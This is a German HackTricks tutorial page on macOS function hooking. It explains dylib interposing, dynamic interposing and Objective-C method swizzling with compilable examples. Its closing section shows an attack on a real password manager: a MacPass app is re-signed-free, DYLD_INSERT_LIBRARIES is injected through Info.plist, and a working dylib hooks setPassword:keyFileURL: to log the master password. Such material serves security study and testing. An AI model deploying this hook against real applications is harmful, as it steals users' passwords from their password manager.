macOS Function Hooking

Unterstützen Sie HackTricks

Funktionsinterponierung

Erstellen Sie eine dylib mit einem __interpose (__DATA___interpose) Abschnitt (oder einem Abschnitt mit der Markierung S_INTERPOSING), der Tupel von Funktionspointern enthält, die auf die ursprünglichen und die Ersatz-Funktionen verweisen.

Dann injizieren Sie die dylib mit DYLD_INSERT_LIBRARIES (die Interponierung muss vor dem Laden der Haupt-App erfolgen). Offensichtlich gelten auch hier die Einschränkungen, die für die Verwendung von DYLD_INSERT_LIBRARIES gelten.

Interponieren von printf

interpose.c
// gcc -dynamiclib interpose.c -o interpose.dylib
#include <stdio.h>
#include <stdarg.h>

int my_printf(const char *format, ...) {
//va_list args;
//va_start(args, format);
//int ret = vprintf(format, args);
//va_end(args);

int ret = printf("Hello from interpose\n");
return ret;
}

__attribute__((used)) static struct { const void *replacement; const void *replacee; } _interpose_printf
__attribute__ ((section ("__DATA,__interpose"))) = { (const void *)(unsigned long)&my_printf, (const void *)(unsigned long)&printf };
DYLD_INSERT_LIBRARIES=./interpose.dylib ./hello
Hello from interpose

DYLD_INSERT_LIBRARIES=./interpose2.dylib ./hello
Hello from interpose

Die DYLD_PRINT_INTERPOSTING Umgebungsvariable kann zum Debuggen von Interposing verwendet werden und gibt den Interpose-Prozess aus.

Beachten Sie auch, dass Interposing zwischen dem Prozess und den geladenen Bibliotheken stattfindet und nicht mit dem gemeinsamen Bibliotheks-Cache funktioniert.

Dynamisches Interposing

Jetzt ist es auch möglich, eine Funktion dynamisch mit der Funktion dyld_dynamic_interpose zu interposen. Dies ermöglicht es, eine Funktion zur Laufzeit programmgesteuert zu interposieren, anstatt dies nur zu Beginn zu tun.

Es ist nur erforderlich, die Tupel der zu ersetzenden Funktion und der Ersatzfunktion anzugeben.

struct dyld_interpose_tuple {
const void* replacement;
const void* replacee;
};
extern void dyld_dynamic_interpose(const struct mach_header* mh,
const struct dyld_interpose_tuple array[], size_t count);

Method Swizzling

In ObjectiveC wird so ein Methodenaufruf durchgeführt: [myClassInstance nameOfTheMethodFirstParam:param1 secondParam:param2]

Es wird das Objekt, die Methode und die Parameter benötigt. Wenn eine Methode aufgerufen wird, wird eine Nachricht gesendet und die Funktion objc_msgSend verwendet: int i = ((int (*)(id, SEL, NSString *, NSString *))objc_msgSend)(someObject, @selector(method1p1:p2:), value1, value2);

Das Objekt ist someObject, die Methode ist @selector(method1p1:p2:) und die Argumente sind value1 und value2.

Durch die Objektstrukturen ist es möglich, ein Array von Methoden zu erreichen, in dem die Namen und Zeiger auf den Methodencode gespeichert sind.

Beachten Sie, dass da Methoden und Klassen anhand ihrer Namen zugegriffen werden, diese Informationen in der Binärdatei gespeichert sind. Daher ist es möglich, sie mit otool -ov </path/bin> oder class-dump </path/bin> abzurufen.

Zugriff auf die Rohmethoden

Es ist möglich, Informationen zu den Methoden wie Namen, Anzahl der Parameter oder Adresse abzurufen, wie im folgenden Beispiel:

// gcc -framework Foundation test.m -o test

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

int main() {
// Get class of the variable
NSString* str = @"This is an example";
Class strClass = [str class];
NSLog(@"str's Class name: %s", class_getName(strClass));

// Get parent class of a class
Class strSuper = class_getSuperclass(strClass);
NSLog(@"Superclass name: %@",NSStringFromClass(strSuper));

// Get information about a method
SEL sel = @selector(length);
NSLog(@"Selector name: %@", NSStringFromSelector(sel));
Method m = class_getInstanceMethod(strClass,sel);
NSLog(@"Number of arguments: %d", method_getNumberOfArguments(m));
NSLog(@"Implementation address: 0x%lx", (unsigned long)method_getImplementation(m));

// Iterate through the class hierarchy
NSLog(@"Listing methods:");
Class currentClass = strClass;
while (currentClass != NULL) {
unsigned int inheritedMethodCount = 0;
Method* inheritedMethods = class_copyMethodList(currentClass, &inheritedMethodCount);

NSLog(@"Number of inherited methods in %s: %u", class_getName(currentClass), inheritedMethodCount);

for (unsigned int i = 0; i < inheritedMethodCount; i++) {
Method method = inheritedMethods[i];
SEL selector = method_getName(method);
const char* methodName = sel_getName(selector);
unsigned long address = (unsigned long)method_getImplementation(m);
NSLog(@"Inherited method name: %s (0x%lx)", methodName, address);
}

// Free the memory allocated by class_copyMethodList
free(inheritedMethods);
currentClass = class_getSuperclass(currentClass);
}

// Other ways to call uppercaseString method
if([str respondsToSelector:@selector(uppercaseString)]) {
NSString *uppercaseString = [str performSelector:@selector(uppercaseString)];
NSLog(@"Uppercase string: %@", uppercaseString);
}

// Using objc_msgSend directly
NSString *uppercaseString2 = ((NSString *(*)(id, SEL))objc_msgSend)(str, @selector(uppercaseString));
NSLog(@"Uppercase string: %@", uppercaseString2);

// Calling the address directly
IMP imp = method_getImplementation(class_getInstanceMethod(strClass, @selector(uppercaseString))); // Get the function address
NSString *(*callImp)(id,SEL) = (typeof(callImp))imp; // Generates a function capable to method from imp
NSString *uppercaseString3 = callImp(str,@selector(uppercaseString)); // Call the method
NSLog(@"Uppercase string: %@", uppercaseString3);

return 0;
}

Method Swizzling mit method_exchangeImplementations

Die Funktion method_exchangeImplementations ermöglicht es, die Adresse der Implementierung einer Funktion für eine andere zu ändern.

Daher wird beim Aufruf einer Funktion die andere Funktion ausgeführt.

//gcc -framework Foundation swizzle_str.m -o swizzle_str

#import <Foundation/Foundation.h>
#import <objc/runtime.h>


// Create a new category for NSString with the method to execute
@interface NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (SwizzleString)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original method
return [self swizzledSubstringFromIndex:from];
}

@end

int main(int argc, const char * argv[]) {
// Perform method swizzling
Method originalMethod = class_getInstanceMethod([NSString class], @selector(substringFromIndex:));
Method swizzledMethod = class_getInstanceMethod([NSString class], @selector(swizzledSubstringFromIndex:));
method_exchangeImplementations(originalMethod, swizzledMethod);

// We changed the address of one method for the other
// Now when the method substringFromIndex is called, what is really called is swizzledSubstringFromIndex
// And when swizzledSubstringFromIndex is called, substringFromIndex is really colled

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

return 0;
}

In diesem Fall, wenn der Implementierungscode der legitimen Methode den Methodennamen überprüft, könnte er dieses Swizzling erkennen und verhindern, dass es ausgeführt wird.

Die folgende Technik hat diese Einschränkung nicht.

Method Swizzling mit method_setImplementation

Das vorherige Format ist seltsam, weil du die Implementierung von 2 Methoden gegeneinander austauschst. Mit der Funktion method_setImplementation kannst du die Implementierung einer Methode für eine andere ändern.

Denke daran, die Adresse der Implementierung der Originalmethode zu speichern, wenn du sie aus der neuen Implementierung aufrufen möchtest, bevor du sie überschreibst, da es später viel komplizierter sein wird, diese Adresse zu finden.

#import <Foundation/Foundation.h>
#import <objc/runtime.h>
#import <objc/message.h>

static IMP original_substringFromIndex = NULL;

@interface NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from;

@end

@implementation NSString (Swizzlestring)

- (NSString *)swizzledSubstringFromIndex:(NSUInteger)from {
NSLog(@"Custom implementation of substringFromIndex:");

// Call the original implementation using objc_msgSendSuper
return ((NSString *(*)(id, SEL, NSUInteger))original_substringFromIndex)(self, _cmd, from);
}

@end

int main(int argc, const char * argv[]) {
@autoreleasepool {
// Get the class of the target method
Class stringClass = [NSString class];

// Get the swizzled and original methods
Method originalMethod = class_getInstanceMethod(stringClass, @selector(substringFromIndex:));

// Get the function pointer to the swizzled method's implementation
IMP swizzledIMP = method_getImplementation(class_getInstanceMethod(stringClass, @selector(swizzledSubstringFromIndex:)));

// Swap the implementations
// It return the now overwritten implementation of the original method to store it
original_substringFromIndex = method_setImplementation(originalMethod, swizzledIMP);

// Example usage
NSString *myString = @"Hello, World!";
NSString *subString = [myString substringFromIndex:7];
NSLog(@"Substring: %@", subString);

// Set the original implementation back
method_setImplementation(originalMethod, original_substringFromIndex);

return 0;
}
}

Hooking-Angriffsmethodik

Auf dieser Seite wurden verschiedene Möglichkeiten zum Hooken von Funktionen diskutiert. Allerdings beinhalteten sie das Ausführen von Code innerhalb des Prozesses, um anzugreifen.

Um dies zu erreichen, ist die einfachste Technik die Verwendung einer Dyld über Umgebungsvariablen oder Hijacking. Ich vermute jedoch, dass dies auch über Dylib-Prozessinjektion erfolgen könnte.

Beide Optionen sind jedoch auf ungeschützte Binärdateien/Prozesse beschränkt. Überprüfen Sie jede Technik, um mehr über die Einschränkungen zu erfahren.

Ein Funktion-Hooking-Angriff ist sehr spezifisch, ein Angreifer würde dies tun, um sensible Informationen aus einem Prozess zu stehlen (ansonsten würde man einfach einen Prozessinjektionsangriff durchführen). Und diese sensiblen Informationen könnten sich in von Benutzern heruntergeladenen Apps wie MacPass befinden.

Der Angriffsvektor des Angreifers wäre also entweder eine Schwachstelle zu finden oder die Signatur der Anwendung zu entfernen, die DYLD_INSERT_LIBRARIES Umgebungsvariable durch die Info.plist der Anwendung einzuspeisen und etwas Ähnliches hinzuzufügen:

<key>LSEnvironment</key>
<dict>
<key>DYLD_INSERT_LIBRARIES</key>
<string>/Applications/Application.app/Contents/malicious.dylib</string>
</dict>

und dann die Anwendung neu registrieren:

/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister -f /Applications/Application.app

Fügen Sie in diese Bibliothek den Hooking-Code ein, um die Informationen zu exfiltrieren: Passwörter, Nachrichten...

Beachten Sie, dass in neueren Versionen von macOS, wenn Sie die Signatur der Anwendungsdatei entfernen und sie zuvor ausgeführt wurde, macOS die Anwendung nicht mehr ausführen wird.

Bibliotheksbeispiel

// gcc -dynamiclib -framework Foundation sniff.m -o sniff.dylib

// If you added env vars in the Info.plist don't forget to call lsregister as explained before

// Listen to the logs with something like:
// log stream --style syslog --predicate 'eventMessage CONTAINS[c] "Password"'

#include <Foundation/Foundation.h>
#import <objc/runtime.h>

// Here will be stored the real method (setPassword in this case) address
static IMP real_setPassword = NULL;

static BOOL custom_setPassword(id self, SEL _cmd, NSString* password, NSURL* keyFileURL)
{
// Function that will log the password and call the original setPassword(pass, file_path) method
NSLog(@"[+] Password is: %@", password);

// After logging the password call the original method so nothing breaks.
return ((BOOL (*)(id,SEL,NSString*, NSURL*))real_setPassword)(self, _cmd,  password, keyFileURL);
}

// Library constructor to execute
__attribute__((constructor))
static void customConstructor(int argc, const char **argv) {
// Get the real method address to not lose it
Class classMPDocument = NSClassFromString(@"MPDocument");
Method real_Method = class_getInstanceMethod(classMPDocument, @selector(setPassword:keyFileURL:));

// Make the original method setPassword call the fake implementation one
IMP fake_IMP = (IMP)custom_setPassword;
real_setPassword = method_setImplementation(real_Method, fake_IMP);
}

Referenzen

Unterstützen Sie HackTricks

Last updated